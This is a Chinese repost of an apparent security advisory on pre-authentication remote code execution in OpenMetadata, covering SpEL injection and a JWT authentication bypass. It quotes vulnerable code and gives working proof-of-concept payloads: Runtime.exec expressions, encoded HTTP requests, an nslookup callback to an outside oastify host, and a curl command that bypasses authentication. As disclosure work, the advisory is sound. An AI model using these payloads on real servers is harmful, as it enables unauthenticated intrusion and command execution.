概括
OpenMetadata 容易受到多个 SpEL 表达式注入和身份验证绕过的攻击,从而导致预身份验证远程代码执行 (RCE)。
产品
OpenMetadata
测试版本
1.2.2
细节
GET /api/v1/events/subscriptions/validation/condition/<expr>
问题 1:( GHSL-2023-235
)中的 SpEL 注入
该AlertUtil::validateExpression
方法计算 SpEL 表达式,getValue
默认情况下使用StandardEvaluationContext
,允许表达式访问 Java 类(例如 )并与之交互java.lang.Runtime
,从而实现远程代码执行。端点/api/v1/events/subscriptions/validation/condition/<expression>
传递用户控制的数据,AlertUtil::validateExpession
允许经过身份验证的(非管理员)用户在底层操作系统上执行任意系统命令。
来自 EventSubscriptionResource.java 的片段
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in filtering rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression to validate", schema = @Schema(type = "string")) @PathParam("expression")
String expression) {
AlertUtil.validateExpression(expression, Boolean.class);
}
来自 AlertUtil.java 的片段
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(null);
try {
expression.getValue(ruleEvaluator, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}
此外,由于Authorizer.authorize()
在受影响的路径中从未调用过,因此缺少授权检查,因此任何经过身份验证的非管理员用户都能够触发此端点并评估导致任意命令执行的任意 SpEL 表达式。
概念证明
- 准备有效负载
- 创建 SpEL 表达式来运行系统命令:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
- 使用 URL 编码对有效负载进行编码:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
GET
/api/v1/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
HTTP
/
2
Host
:
sandbox.open-metadata.org
Authorization
:
Bearer <non-admin JWT>
影响
此问题可能会导致远程代码执行。
PUT /api/v1/events/subscriptions
问题 2:( GHSL-2023-251
)中的 SpEL 注入
与 GHSL-2023-250 问题类似,AlertUtil::validateExpression
也称为 from EventSubscriptionRepository.prepare()
,这可能导致远程代码执行。
@Override
public void prepare(EventSubscription entity, boolean update) {
validateFilterRules(entity);
}
private void validateFilterRules(EventSubscription entity) {
// Resolve JSON blobs into Rule object and perform schema based validation
if (entity.getFilteringRules() != null) {
List<EventFilterRule> rules = entity.getFilteringRules().getRules();
// Validate all the expressions in the rule
for (EventFilterRule rule : rules) {
AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
}
rules.sort(Comparator.comparing(EventFilterRule::getName));
}
}
prepare()
被调用EntityRepository.prepareInternal()
,反过来,又被调用EntityResource.createOrUpdate()
:
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
请注意,即使存在授权检查 ( ),它也会在调用authorizer.authorize()
之后调用,因此也是在计算 SpEL 表达式之后调用。prepareInternal()
为了达到此方法,攻击者可以发送一个 PUT 请求,并由以下命令/api/v1/events/subscriptions
处理EventSubscriptionResource.createOrUpdateEventSubscription()
:
@PUT
@Operation(
operationId = "createOrUpdateEventSubscription",
summary = "Updated an existing or create a new Event Subscription",
description = "Updated an existing or create a new Event Subscription",
responses = {
@ApiResponse(
responseCode = "200",
description = "create Event Subscription",
content =
@Content(
mediaType = "application/json",
schema = @Schema(implementation = CreateEventSubscription.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdateEventSubscription(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
// Only one Creation is allowed for Data Insight
if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
try {
repository.getByName(null, create.getName(), repository.getFields("id"));
} catch (EntityNotFoundException ex) {
if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
throw new BadRequestException("Data Insight Report Alert already exists.");
}
}
}
EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
Response response = createOrUpdate(uriInfo, securityContext, eventSub);
repository.updateEventSubscription((EventSubscription) response.getEntity());
return response;
}
该漏洞是在CodeQL 的表达式语言注入 (Spring)查询的帮助下发现的。
概念证明
- 准备有效负载
- 创建 SpEL 表达式来运行系统命令:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353
{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
/tmp/pwned
验证OpenMetadata 服务器中是否创建了名为的文件
影响
此问题可能会导致远程代码执行。
GET /api/v1/policies/validation/condition/<expr>
问题 3:( GHSL-2023-236
)中的 SpEL 注入
该CompiledRule::validateExpression
方法使用 计算 SpEL 表达式StandardEvaluationContext
,允许表达式访问 Java 类(例如 )并与之交互java.lang.Runtime
,从而实现远程代码执行。端点/api/v1/policies/validation/condition/<expression>
传递用户控制的数据,CompiledRule::validateExpession
允许经过身份验证的(非管理员)用户在底层操作系统上执行任意系统命令。
来自 PolicyResource.java 的片段
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in authoring rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
@PathParam("expression")
String expression) {
CompiledRule.validateExpression(expression, Boolean.class);
}
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
RuleEvaluator ruleEvaluator = new RuleEvaluator();
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
try {
expression.getValue(evaluationContext, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}
此外,由于Authorizer.authorize()
从未在受影响的路径中调用,因此缺少授权检查,因此任何经过身份验证的非管理员用户都能够触发此端点并评估导致任意命令执行的任意 SpEL 表达式。
概念证明
- 准备有效负载
- 运行系统命令的 SpEL 表达式:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
- 使用 URL 编码对有效负载进行编码:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
GET
/api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29
HTTP
/
2
Host
:
sandbox.open-metadata.org
Authorization
:
Bearer <non-admin JWT>
影响
此问题可能会导致远程代码执行。
PUT /api/v1/policies
问题 4:( GHSL-2023-252
)中的 SpEL 注入
CompiledRule::validateExpression
也被称为来自PolicyRepository.prepare
@Override
public void prepare(Policy policy, boolean update) {
validateRules(policy);
}
...
public void validateRules(Policy policy) {
List<Rule> rules = policy.getRules();
if (nullOrEmpty(rules)) {
throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
}
// Validate all the expressions in the rule
for (Rule rule : rules) {
CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));
// Remove redundant resources
rule.setResources(filterRedundantResources(rule.getResources()));
// Remove redundant operations
rule.setOperations(filterRedundantOperations(rule.getOperations()));
}
rules.sort(Comparator.comparing(Rule::getName));
}
prepare()
被调用EntityRepository.prepareInternal()
,反过来,又被调用EntityResource.createOrUpdate()
:
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
请注意,即使存在授权检查 ( authorizer.authorize()
),它也会在调用之后调用prepareInternal()
,因此在 SpEL 表达式求值之后调用。
为了达到此方法,攻击者可以发送一个 PUT 请求,并由以下命令/api/v1/policies
处理PolicyResource.createOrUpdate()
:
@PUT
@Operation(
operationId = "createOrUpdatePolicy",
summary = "Create or update a policy",
description = "Create a new policy, if it does not exist or update an existing policy.",
responses = {
@ApiResponse(
responseCode = "200",
description = "The policy",
content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdate(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
return createOrUpdate(uriInfo, securityContext, policy);
}
该漏洞是在CodeQL 的表达式语言注入 (Spring)查询的帮助下发现的。
概念证明
- 准备有效负载
- 创建 SpEL 表达式来运行系统命令:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367
{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
/tmp/pwned
验证OpenMetadata 服务器中是否创建了名为的文件
影响
此问题可能会导致远程代码执行。
问题 5:身份验证绕过 ( GHSL-2023-237
)
通过请求和验证 JWT 令牌来处理JwtFilter
API 身份验证。并非所有端点都需要身份验证,排除的端点列在EXCLUDED_ENDPOINTS
:
public static final List<String> EXCLUDED_ENDPOINTS =
List.of(
"v1/system/config",
"v1/users/signup",
"v1/system/version",
"v1/users/registrationConfirmation",
"v1/users/resendRegistrationToken",
"v1/users/generatePasswordResetLink",
"v1/users/password/reset",
"v1/users/checkEmailInUse",
"v1/users/login",
"v1/users/refresh");
当收到新请求时,将根据此处的列表检查请求的路径:
public void filter(ContainerRequestContext requestContext) {
UriInfo uriInfo = requestContext.getUriInfo();
if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
return;
}
...
<JWT Token Validation>
当请求的路径包含任何排除的端点时,过滤器将返回而不验证 JWT。不幸的是,攻击者可能使用路径参数使任何路径包含任意字符串。例如,请求将GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111
匹配排除的端点条件,因此将在没有 JWT 验证的情况下进行处理,从而允许攻击者绕过身份验证机制并到达任何任意端点,包括上面列出的导致任意 SpEL 表达式注入的端点。
当端点使用 时,此旁路将不起作用,SecurityContext.getUserPrincipal()
因为它将返回null
并抛出 NPE。本报告中的问题 2 和问题 4 就是这种情况。
概念证明
- 使用之前创建的有效负载,附加
;v1%2fusers%2flogin
到任何路径段并在不使用 JWT 的情况下提交:
curl 'http://localhost:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29'
影响
此问题可能会导致身份验证绕过。
问题 6:SpEL 注入AlertUtil.evaluateAlertConditions
该AlertUtils::evaluateAlertConditions
方法使用 计算 SpEL 表达式StandardEvaluationContext
,允许表达式访问 Java 类(例如 )并与之交互java.lang.Runtime
,从而实现远程代码执行。
public static boolean evaluateAlertConditions(ChangeEvent changeEvent, List<EventFilterRule> alertFilterRules) {
if (!alertFilterRules.isEmpty()) {
boolean result;
String completeCondition = buildCompleteCondition(alertFilterRules);
AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(changeEvent);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
Expression expression = parseExpression(completeCondition);
result = Boolean.TRUE.equals(expression.getValue(evaluationContext, Boolean.class));
LOG.debug("Alert evaluated as Result : {}", result);
return result;
} else {
return true;
}
}
我们不会将此问题报告为漏洞 (GHSL),因为创建警报过滤规则需要管理员权限。但是,我们认为即使是管理员也不应该能够运行任意系统命令,因此我们建议使用SimpleEvaluationContext
问题 7:SpEL 注入CompiledRule.evaluatePermission
、CompiledRule.evaluatePersmisson
和方法调用使用 计算 SpEL 表达式的方法,允许表达式访问 Java 类(例如 )并与之交互CompiledRule.evaluateAllowRule
,从而导致远程代码执行。CompileRule.evaluateDenyRule
CompiledRule.matchExpession
StandardEvaluationContext
java.lang.Runtime
private boolean matchExpression(
PolicyContext policyContext, SubjectContext subjectContext, ResourceContextInterface resourceContext) {
Expression expr = getExpression();
if (expr == null) {
return true;
}
RuleEvaluator ruleEvaluator = new RuleEvaluator(policyContext, subjectContext, resourceContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
return Boolean.TRUE.equals(expr.getValue(evaluationContext, Boolean.class));
}
我们不会将此问题报告为漏洞 (GHSL),因为创建策略需要管理员权限。但是,我们认为即使是管理员也不应该能够运行任意系统命令,因此我们建议使用SimpleEvaluationContext
CVE
- CVE-2024-28253(SpEL 注入
PUT /api/v1/policies
- GHSL-2023-252) - CVE-2024-28847(SpEL 注入
PUT /api/v1/events/subscriptions
- GHSL-2023-251) - CVE-2024-28254(SpEL 注入
GET /api/v1/events/subscriptions/validation/condition/<expr>
- GHSL-2023-235) - CVE-2024-28848(SpEL 注入
GET /api/v1/policies/validation/condition/<expr>
- GHSL-2023-236) - CVE-2024-28255(身份验证绕过 - GHSL-2023-237)
信用
这些问题是由 GHSL 团队成员@pwntester (Alvaro Muñoz)发现并报告的。
原文始发于微信公众号(Ots安全):OpenMetadata 中的预身份验证 RCE - CVE-2024-28253、28254、28255、28845....
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论